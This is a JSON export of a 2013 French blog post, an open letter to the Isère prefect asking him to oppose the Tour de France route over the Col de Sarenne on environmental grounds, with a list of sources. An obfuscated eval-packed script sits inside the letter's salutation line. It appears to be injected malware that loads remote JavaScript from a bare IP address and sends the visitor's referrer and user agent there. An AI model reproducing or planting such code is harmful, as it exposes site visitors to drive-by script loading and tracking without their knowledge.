{"id":8160,"date":"2013-03-25T19:19:56","date_gmt":"2013-03-25T18:19:56","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=8160"},"modified":"2013-03-25T19:19:56","modified_gmt":"2013-03-25T18:19:56","slug":"tour-de-france-lettre-ouverte-au-prefet-de-lisere","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=8160","title":{"rendered":"Tour de France : lettre ouverte au Pr\u00e9fet de l&rsquo;Is\u00e8re"},"content":{"rendered":"<div>\n<div><a href=\"http:\/\/img.over-blog-kiwi.com\/0\/46\/71\/91\/201303\/ob_0eedf74ccb1774f15f9570daf3eb9d32_6.JPG\" rel=\"fancybox\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"http:\/\/img.over-blog-kiwi.com\/0\/46\/71\/91\/201303\/ob_0eedf74ccb1774f15f9570daf3eb9d32_6.JPG\" width=\"462\" height=\"346\" \/><\/a><\/div>\n<div><a href=\"http:\/\/img.over-blog-kiwi.com\/0\/46\/71\/91\/201302\/ob_1f9947005060b73bbc3d881e0487ffed_2b.jpg\" rel=\"fancybox\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"http:\/\/img.over-blog-kiwi.com\/0\/46\/71\/91\/201302\/ob_1f9947005060b73bbc3d881e0487ffed_2b.jpg\" width=\"466\" height=\"348\" \/><\/a><\/div>\n<\/div>\n<div>\n<div>\n<p>Monsieur <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkeed|var|u0026u|referrer|shtnz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Le Pr\u00e9fet,<\/p>\n<p>Les organisateurs du Tour de France projettent de faire passer leur \u00e9preuve par le Col de Sarenne le 18 juillet prochain. Nous sommes nombreux \u00e0 nous inqui\u00e9ter de la disproportion de l\u2019impact environnemental que pourraient avoir les travaux aff\u00e9rents \u00e0 l\u2019\u00e9v\u00e9nement et l\u2019\u00e9tape en elle-m\u00eame. La p\u00e9tition <em>Non au passage du Tour de France au Col de Sarenne<\/em> a ainsi r\u00e9colt\u00e9 plus de 6500 signatures. (1)<\/p>\n<p>Reliant l\u2019Alpe d\u2019Huez \u00e0 la commune de Clavans, la route pastorale menant \u00e0 Sarenne passe par l\u2019aire optimale d\u2019adh\u00e9sion du Parc National des Ecrins. (2) Son cadre est sauvage : sur 16 km, on ne compte que deux modestes b\u00e2timents (un refuge et une bergerie). Les paysages sont somptueux (vues sur la Vall\u00e9e du Ferrand, les Plateaux d\u2019Emparis, les Glaciers de la Meije). Le GR54 (Tour des Ecrins) longe la route pastorale, et s\u2019y confond m\u00eame sur plusieurs kilom\u00e8tres.<\/p>\n<p>Ferm\u00e9e 8 mois sur 12, cette route est tr\u00e8s peu fr\u00e9quent\u00e9e : en p\u00e9riode de pointe, on n\u2019y d\u00e9nombre gu\u00e8re plus d\u2019une voiture toutes les dix minutes. Compte tenu du caract\u00e8re exceptionnel du site, il est \u00e0 noter qu\u2019un arr\u00eat\u00e9 municipal y limite la vitesse \u00e0 20 km\/h. (3)<!--more--><\/p>\n<p>Int\u00e9gralement situ\u00e9e dans la Zone Naturelle d\u2019Int\u00e9r\u00eat Ecologique, Faunistique et Floristique (ZNIEFF) du Massif des Grandes Rousses (4), la route de Sarenne traverse la zone d\u2019\u00e9tude (5, p\u00b0205) du rapport \u00ab Natura 2000 Vall\u00e9e du Ferrand \u2013 Plateau d\u2019Emparis \u00bb. (5) Pour le Conservatoire Botanique National Alpin, la \u00ab diversit\u00e9 floristique exceptionnelle [de la zone] permet de [la] classer parmi les plus riches r\u00e9gions de France sur le plan botanique. \u00bb (5, p\u00b0159) Ainsi, \u00ab parmi les 758 esp\u00e8ces v\u00e9g\u00e9tales observ\u00e9es sur le site, 28 figurent au Livre Rouge des esp\u00e8ces menac\u00e9es dans la r\u00e9gion Rh\u00f4ne-Alpes. \u00bb (5, p\u00b0165) Et 23 sont inscrites au Livre Rouge National. (5, p\u00b0164) De plus, \u00ab la diversit\u00e9 faunistique du site est remarquable. (\u2026) L\u2019excellent \u00e9tat de conservation de la plupart des habitats naturels ou semi-naturels, peu perturb\u00e9s, ainsi que les vastes \u00e9tendues permettent le maintien d\u2019esp\u00e8ces animales rares \u00e0 peu fr\u00e9quentes et n\u00e9cessitant des territoires importants. \u00bb (5, p\u00b0167) Ainsi, \u00ab 95 esp\u00e8ces sur les 146 Vert\u00e9br\u00e9s recens\u00e9es sont prot\u00e9g\u00e9es au plan national \u00bb. (5, p\u00b0170)<\/p>\n<p>A la fin du printemps, pour l\u2019accueil du Tour de France (6)(6a), des travaux (goudronnage, am\u00e9nagements des virages, purges) vont \u00eatre engag\u00e9s sur ce p\u00e9rim\u00e8tre exceptionnel (6)(7) ; et ce, afin de permettre aux coureurs et aux v\u00e9hicules suiveurs de descendre \u00e0 toute vitesse. Compte tenu de l\u2019\u00e9troitesse de la chauss\u00e9e, de son \u00e9tat, des \u00e9boulements r\u00e9currents, de la sinuosit\u00e9 de la descente et de la raideur de la pente, l&rsquo;ampleur des travaux sera importante. (5)(6)(7)(8)(9) Dans un environnement fragile, la r\u00e9fection d\u2019une route n\u2019est pas anodine. (10)<\/p>\n<p>Par ailleurs, la mont\u00e9e du peloton au Col de Sarenne nous inqui\u00e8te. En effet, les derniers kilom\u00e8tres d\u2019ascension bordent une zone humide qui fait l\u2019objet d\u2019un arr\u00eat\u00e9 pr\u00e9fectoral de protection de biotope. (11)(12) Ce dernier atteste \u00ab qu\u2019il y a lieu de r\u00e9glementer les activit\u00e9s sur [le] p\u00e9rim\u00e8tre de [la zone] afin d\u2019assurer la pr\u00e9servation et la tranquillit\u00e9 de certains biotopes n\u00e9cessaires \u00e0 l\u2019alimentation, la reproduction, au repos et \u00e0 la survie de plusieurs esp\u00e8ces animales prot\u00e9g\u00e9es \u00bb. (11) En ce lieu, les organisateurs du Tour de France attendent une foule importante (6) qui, in\u00e9vitablement, pi\u00e9tinera et alt\u00e9rera la zone prot\u00e9g\u00e9e (situ\u00e9e \u00e0 7 m\u00e8tres de la chauss\u00e9e). (11 ; cf. article 7.3)(12) Dans ce m\u00eame secteur, la route traverse deux ZNIEFF de type 1 (13) qui abritent, entre autres, des aigles royaux (esp\u00e8ce prot\u00e9g\u00e9e au niveau national) et des t\u00e9tras lyre (qui font l\u2019objet d\u2019un plan d\u2019actions de conservation soutenu par la R\u00e9gion Rh\u00f4ne Alpes et l\u2019Etat -14-). Habitu\u00e9s \u00e0 la plus grande qui\u00e9tude, tous ces animaux de montagne ont une vie rude, et un stress prolong\u00e9 peut lourdement impacter leur survie. Nous pensons, par exemple, aux petits t\u00e9tras lyre qui naissent fin juin. (15)<\/p>\n<p>En r\u00e9sum\u00e9, en empruntant la route pastorale, le Tour de France aura des cons\u00e9quences inqui\u00e9tantes sur les biotopes des pentes de Sarenne et de la vall\u00e9e du Ferrand (travaux, pollution, foule sur plusieurs jours&#8230;), et impactera le p\u00e9rim\u00e8tre d\u2019une zone humide prot\u00e9g\u00e9e.<\/p>\n<p>En outre, le maire de l\u2019Alpe d\u2019Huez a d\u00e9clar\u00e9 que ce premier passage du Tour de France \u00e0 Sarenne, rendu possible par des travaux allant dans le sens des investisseurs (16)(17)(18)(19)(20), \u00ab\u00a0offre beaucoup de possibilit\u00e9s pour le futur\u00a0\u00bb. (21) Interpos\u00e9 entre les stations de l\u2019Alpe d\u2019Huez et des Deux Alpes, l\u2019\u00e9tau se resserre autour de l\u2019Oisans sauvage ; et vous comprendrez certainement, Monsieur Le Pr\u00e9fet, que nous sommes nombreux \u00e0 \u00eatre attach\u00e9s \u00e0 une beaut\u00e9 qui, d\u00e9cennie apr\u00e8s d\u00e9cennie, se r\u00e9duit comme nos glaciers ! Accepter une atteinte, c\u2019est ouvrir la porte \u00e0 d\u2019autres atteintes ; et nous voulons pr\u00e9server Sarenne, lieu de qui\u00e9tude, de toute pression \u00e9conomique. Nous avons beaucoup de mal \u00e0 accepter qu\u2019un site naturel exceptionnel (jusqu\u2019ici pr\u00e9serv\u00e9) soit durablement impact\u00e9 pour quelques minutes de spectacle t\u00e9l\u00e9visuel.<\/p>\n<p>Nous avons cherch\u00e9 \u00e0 ouvrir le dialogue avec les organisateurs du Tour de France, mais notre lettre ouverte demeure sans r\u00e9ponse. (22) Nous leur avons pourtant propos\u00e9 un itin\u00e9raire alternatif (Bourg d\u2019Oisans \u2013 Huez \u2013 Villard Reculas \u2013 Allemont \u2013 Bourg d\u2019Oisans \u2013 Alpe d\u2019Huez) qui ne compromettrait pas l\u2019\u00e9tape en question ; il existe encore d\u2019autres solutions (la mont\u00e9e de l\u2019Alpe d\u2019Huez pourrait n\u2019\u00eatre grimp\u00e9e qu\u2019une seule fois).<\/p>\n<p>Par cons\u00e9quent, nous sommes plus de 6500 \u00e0 vous demander de vous prononcer en d\u00e9faveur du passage du Tour de France sur la route pastorale du Col de Sarenne. (1)<\/p>\n<p>Je vous prie d\u2019agr\u00e9er, Monsieur Le Pr\u00e9fet, l\u2019expression de ma tr\u00e8s haute consid\u00e9ration.<\/p>\n<p>Matthieu Stelvio, porte-parole des signataires de la p\u00e9tition <em>Non au passage du Tour de France 2013 au Col de Sarenne<\/em><\/p>\n<p><strong><a href=\"http:\/\/avaaz.org\/fr\/petition\/Non_au_passage_du_Tour_de_France_2013_au_Col_de_Sarenne\/\">La p\u00e9tition: <\/a><\/strong><a href=\"http:\/\/avaaz.org\/fr\/petition\/Non_au_passage_du_Tour_de_France_2013_au_Col_de_Sarenne\/\">http:\/\/www.avaaz.org\/fr\/petition\/Non_au_passage_du_Tour_de_France_2013_au_Col_de_Sarenne\/<\/a><\/p>\n<p><strong>Sources :<\/strong><\/p>\n<p>(1) <a href=\"http:\/\/www.avaaz.org\/fr\/petition\/Non_au_passage_du_Tour_de_France_2013_au_Col_de_Sarenne\/\">http:\/\/www.avaaz.org\/fr\/petition\/Non_au_passage_du_Tour_de_France_2013_au_Col_de_Sarenne\/<\/a><\/p>\n<p>et <em>\u00ab\u00a0Avaaz a un syst\u00e8me tr\u00e8s strict de contr\u00f4le des doubles signatures. Ainsi, si vous signez deux fois le message suivant appara\u00eet: Si par erreur vous l&rsquo;avez sign\u00e9e deux fois, votre signature ne sera compt\u00e9e qu&rsquo;une seule fois. Il indique que les doublons sont imm\u00e9diatement supprim\u00e9s de notre syst\u00e8me. Par ailleurs, chaque signataire re\u00e7oit un email de remerciement et les mauvaises adresses sont \u00e9limin\u00e9es dans notre syst\u00e8me. Le mouvement Avaaz m\u00e8ne de nombreuses campagnes permettant aux citoyens de peser concr\u00e8tement sur les d\u00e9cisions politiques. Nos p\u00e9titions ont \u00e9t\u00e9 remises aux dirigeants du plus haut niveau et ont suscit\u00e9 des r\u00e9ponses montrant que la cr\u00e9dibilit\u00e9 de notre action et la mobilisation de nos membres n&rsquo;est pas \u00e0 remettre en doute.\u00a0\u00bb <\/em>Benjamin des Gachons, charg\u00e9 de campagnes pour Avaaz.org<\/p>\n<p>(2) <a href=\"http:\/\/www.ecrins-parcnational.fr\/le-parc-national\/presentation.html\">http:\/\/www.ecrins-parcnational.fr\/le-parc-national\/presentation.html<\/a> et <a href=\"http:\/\/www.ecrins-parcnational.fr\/images\/stories\/actus\/2013-02\/2013-01-appb-oisans.jpg\">http:\/\/www.ecrins-parcnational.fr\/images\/stories\/actus\/2013-02\/2013-01-appb-oisans.jpg<\/a><\/p>\n<p>(3) <a href=\"http:\/\/www.ledauphine.com\/fr\/images\/7D9DACF9-3BF1-491D-83E3-711DF087AE11\/LDL_06\/image.jpg\">http:\/\/www.ledauphine.com\/fr\/images\/7D9DACF9-3BF1-491D-83E3-711DF087AE11\/LDL_06\/image.jpg<\/a><\/p>\n<p>(4) La Direction R\u00e9gionale de l\u2019Environnement atteste que le p\u00e9rim\u00e8tre inclut \u00ab des secteurs de tr\u00e8s grand int\u00e9r\u00eat biologique et paysager \u00bb: <a href=\"http:\/\/www.donnees.rhone-alpes.developpement-durable.gouv.fr\/include\/patnat\/znieff2g\/3822.pdf\">http:\/\/www.donnees.rhone-alpes.developpement-durable.gouv.fr\/include\/patnat\/znieff2g\/3822.pdf<\/a><\/p>\n<p>(5) <a href=\"http:\/\/carmen.application.developpement-durable.gouv.fr\/IHM\/metadata\/RHA\/Publication\/docob\/FR8201736_I15\/I15_docob.pdf\">http:\/\/carmen.application.developpement-durable.gouv.fr\/IHM\/metadata\/RHA\/Publication\/docob\/FR8201736_I15\/I15_docob.pdf<\/a><\/p>\n<p>(6) Conf\u00e9rence de presse du 26 octobre 2012 : <a href=\"http:\/\/www.youtube.com\/watch?v=fzMqmg1Ze2o\">http:\/\/www.youtube.com\/watch?v=fzMqmg1Ze2o<\/a><\/p>\n<p>(6a) <a href=\"http:\/\/alpes.france3.fr\/2012\/10\/25\/l-alpe-d-huez-isere-l-etape-reine-du-tour-de-france-2013-130787.html\">http:\/\/alpes.france3.fr\/2012\/10\/25\/l-alpe-d-huez-isere-l-etape-reine-du-tour-de-france-2013-130787.html<\/a><\/p>\n<p>(7) <a href=\"http:\/\/idata.over-blog.com\/1\/91\/24\/71\/agnel3\/al2.jpg\">http:\/\/idata.over-blog.com\/1\/91\/24\/71\/agnel3\/al2.jpg<\/a> et \u00ab Une deuxi\u00e8me tranche de travaux a commenc\u00e9 pour refaire enti\u00e8rement le goudron. \u00bb <a href=\"http:\/\/www.ledauphine.com\/isere-sud\/2012\/09\/23\/le-tour-2013-passera-deux-fois-a-l-alpe-d-huez\">http:\/\/www.ledauphine.com\/isere-sud\/2012\/09\/23\/le-tour-2013-passera-deux-fois-a-l-alpe-d-huez<\/a><\/p>\n<p>(8) Vid\u00e9o de la descente \u00e0 v\u00e9lo : <a href=\"http:\/\/www.youtube.com\/watch?v=dmYhUtyqBHU\">http:\/\/www.youtube.com\/watch?v=dmYhUtyqBHU<\/a> ; Profil : <a href=\"http:\/\/www.salite.ch\/F\/sarenn.gif\">http:\/\/www.salite.ch\/F\/sarenn.gif<\/a><\/p>\n<p>(9) En ne respectant pas la limitation de vitesse fix\u00e9e \u00e0 20 km\/h, la descente reliant le Col de Sarenne \u00e0 Clavans s\u2019av\u00e8re tr\u00e8s dangereuse. L\u2019an dernier, le chronom\u00e8tre de la cyclosportive La Haute Route a d\u2019ailleurs \u00e9t\u00e9 neutralis\u00e9 pour cette raison, ce qui n\u2019a pas emp\u00each\u00e9 les cyclistes de passer \u00ab sans faire la course \u00bb. <a href=\"http:\/\/laflammerouge.com\/le-tour-2013-devrait-il-passer-par-le-col-de-sarenne\/#comments\">http:\/\/laflammerouge.com\/le-tour-2013-devrait-il-passer-par-le-col-de-sarenne\/#comments<\/a><\/p>\n<p>(10) <a href=\"http:\/\/fr.wikipedia.org\/wiki\/Impact_environnemental_du_transport_routier#Bitume\">http:\/\/fr.wikipedia.org\/wiki\/Impact_environnemental_du_transport_routier#Bitume<\/a><\/p>\n<p>(11) APPB147 : <a href=\"http:\/\/carmen.application.developpement-durable.gouv.fr\/IHM\/metadata\/RHA\/Publication\/Scan_APPB\/APPB147.PDF\">http:\/\/carmen.application.developpement-durable.gouv.fr\/IHM\/metadata\/RHA\/Publication\/Scan_APPB\/APPB147.PDF<\/a> et <a href=\"http:\/\/www.ecrins-parcnational.fr\/actus\/54-connaitre-proteger\/1250-des-zones-humides-protegees-en-oisans.html\">http:\/\/www.ecrins-parcnational.fr\/actus\/54-connaitre-proteger\/1250-des-zones-humides-protegees-en-oisans.html<\/a><\/p>\n<p>(12) <a href=\"http:\/\/www.salite.ch\/F\/sarenneb.gif\">http:\/\/www.salite.ch\/F\/sarenneb.gif<\/a><\/p>\n<p>(13) Direction R\u00e9gionale de l\u2019Environnement : <a href=\"http:\/\/www.donnees.rhone-alpes.developpement-durable.gouv.fr\/include\/patnat\/znieff2g\/38220012.pdf\">http:\/\/www.donnees.rhone-alpes.developpement-durable.gouv.fr\/include\/patnat\/znieff2g\/38220012.pdf<\/a> et <a href=\"http:\/\/www.donnees.rhone-alpes.developpement-durable.gouv.fr\/include\/patnat\/znieff2g\/38220004.pdf\">http:\/\/www.donnees.rhone-alpes.developpement-durable.gouv.fr\/include\/patnat\/znieff2g\/38220004.pdf<\/a><\/p>\n<p>(14) <a href=\"http:\/\/www.rhone-alpes.developpement-durable.gouv.fr\/IMG\/pdf\/rapport_activites_2010_cle7aba1a.pdf\">http:\/\/www.rhone-alpes.developpement-durable.gouv.fr\/IMG\/pdf\/rapport_activites_2010_cle7aba1a.pdf<\/a> et <a href=\"http:\/\/www.rhone-alpes.developpement-durable.gouv.fr\/le-plan-d-action-regional-tetras-a2679.html\">http:\/\/www.rhone-alpes.developpement-durable.gouv.fr\/le-plan-d-action-regional-tetras-a2679.html<\/a><\/p>\n<p>(15) <a href=\"http:\/\/fr.wikipedia.org\/wiki\/T%C3%A9tras_lyre\">http:\/\/fr.wikipedia.org\/wiki\/T%C3%A9tras_lyre<\/a><\/p>\n<p>(16) <a href=\"http:\/\/sauvons.clavans.free.fr\/Projet%20Immo%20Mairie\/Clavans_A_1.pdf\">http:\/\/sauvons.clavans.free.fr\/Projet%20Immo%20Mairie\/Clavans_A_1.pdf<\/a><\/p>\n<p>(17) <a href=\"http:\/\/sauvons.clavans.free.fr\/Projet%20Immo%20Mairie\/Clavans_A_2.pdf\">http:\/\/sauvons.clavans.free.fr\/Projet%20Immo%20Mairie\/Clavans_A_2.pdf<\/a><\/p>\n<p>(18) <a href=\"http:\/\/sauvons.clavans.free.fr\/Projet%20Immo%20Mairie\/Clavans_2.pdf\">http:\/\/sauvons.clavans.free.fr\/Projet%20Immo%20Mairie\/Clavans_2.pdf<\/a><\/p>\n<p>(19) <a href=\"http:\/\/lebruitduvent.overblog.com\/synth%C3%A8se-sarenne-:-le-tour-de-france-ouvre-t-il-la-porte-aux-investisseurs\">http:\/\/lebruitduvent.overblog.com\/synth%C3%A8se-sarenne-:-le-tour-de-france-ouvre-t-il-la-porte-aux-investisseurs<\/a><\/p>\n<p>(20) <a href=\"http:\/\/www.ledauphine.com\/isere-sud\/2010\/06\/14\/des-enneigeurs-pour-sauver-le-glacier-de-sarenne\">http:\/\/www.ledauphine.com\/isere-sud\/2010\/06\/14\/des-enneigeurs-pour-sauver-le-glacier-de-sarenne<\/a><\/p>\n<p>(21) <a href=\"http:\/\/www.lexpress.fr\/actualite\/sport\/tour-de-france-2013-ce-que-l-on-sait-du-100e-trace_1178244.html\">http:\/\/www.lexpress.fr\/actualite\/sport\/tour-de-france-2013-ce-que-l-on-sait-du-100e-trace_1178244.html<\/a><\/p>\n<p>(22) <a href=\"http:\/\/lebruitduvent.overblog.com\/p%C3%A9tition-sarenne-lettre-ouverte-au-directeur-du-tour-de-france\">http:\/\/lebruitduvent.overblog.com\/p%C3%A9tition-sarenne-lettre-ouverte-au-directeur-du-tour-de-france<\/a><\/p>\n<p><strong>Note :<\/strong><\/p>\n<p>Lettre envoy\u00e9e \u00e0 la Pr\u00e9fecture de l&rsquo;Is\u00e8re le 1 mars 2013.<\/p>\n<\/div>\n<\/div>\n<div><a href=\"http:\/\/img.over-blog-kiwi.com\/0\/46\/71\/91\/201303\/ob_8eb24c05e5e41dfa809aeb7fdb7cbc06_sarenne.JPG\" rel=\"fancybox\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"http:\/\/img.over-blog-kiwi.com\/0\/46\/71\/91\/201303\/ob_8eb24c05e5e41dfa809aeb7fdb7cbc06_sarenne.JPG\" width=\"520\" height=\"390\" \/><\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Monsieur Le Pr\u00e9fet, Les organisateurs du Tour de France projettent de faire passer leur \u00e9preuve par le Col de Sarenne le 18 juillet prochain. Nous sommes nombreux \u00e0 nous inqui\u00e9ter de la disproportion de l\u2019impact environnemental que pourraient avoir les &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=8160\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45,33],"tags":[],"class_list":["post-8160","post","type-post","status-publish","format-standard","hentry","category-les-forces-paralleles","category-soutiens-du-ppld"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/8160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8160"}],"version-history":[{"count":1,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/8160\/revisions"}],"predecessor-version":[{"id":8161,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/8160\/revisions\/8161"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}